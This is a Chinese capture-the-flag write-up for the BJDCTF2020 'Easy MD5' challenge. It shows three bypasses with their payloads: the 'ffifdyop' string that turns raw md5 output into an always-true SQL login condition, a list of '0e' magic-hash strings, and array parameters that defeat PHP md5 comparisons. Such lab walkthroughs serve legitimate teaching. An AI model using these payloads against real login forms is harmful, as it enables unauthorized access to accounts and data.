[BJDCTF2020]Easy MD5
Posted gtx690
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BJDCTF2020]Easy MD5相关的知识,希望对你有一定的参考价值。
在输入框中随便输入一个值,点击提交,响应包中发现hint提示
当存在md5($password,true)时,我们可以通过传递ffifdyop,让sql语句where后面语句变成password = ‘xxxx‘ or true,达到永真,相当于万能密码
具体原理参考文章:https://blog.csdn.net/March97/article/details/81222922
输入ffifdyop后,进入下一个页面
查看源代码,第5行存在md5()绕过漏洞
1 <!-- 2 $a = $GET[‘a‘]; 3 $b = $_GET[‘b‘]; 4 5 if($a != $b && md5($a) == md5($b)){ 6 // wow, glzjin wants a girl friend. 7 -->
这里可以使用赋值数组的方式进行绕过,也可以使用0e开头的字符串绕过
md5加密后以0e开头的字符串: QNKCDZO 240610708 s878926199a s155964671a s214587387a
payload:
http://1b56ab74-d369-444a-836f-7cc47b731bb5.node3.buuoj.cn/levels91.php?a[]=1&b[]=0
又来到了新的页面,代码第7行同样存在md5()绕过漏洞,传递数组便可绕过
1 <?php 2 error_reporting(0); 3 include "flag.php"; 4 5 highlight_file(__FILE__); 6 7 if($_POST[‘param1‘]!==$_POST[‘param2‘]&&md5($_POST[‘param1‘])===md5($_POST[‘param2‘])){ 8 echo $flag; 9 }
payload:
param1[]=1¶m2[]=0
以上是关于[BJDCTF2020]Easy MD5的主要内容,如果未能解决你的问题,请参考以下文章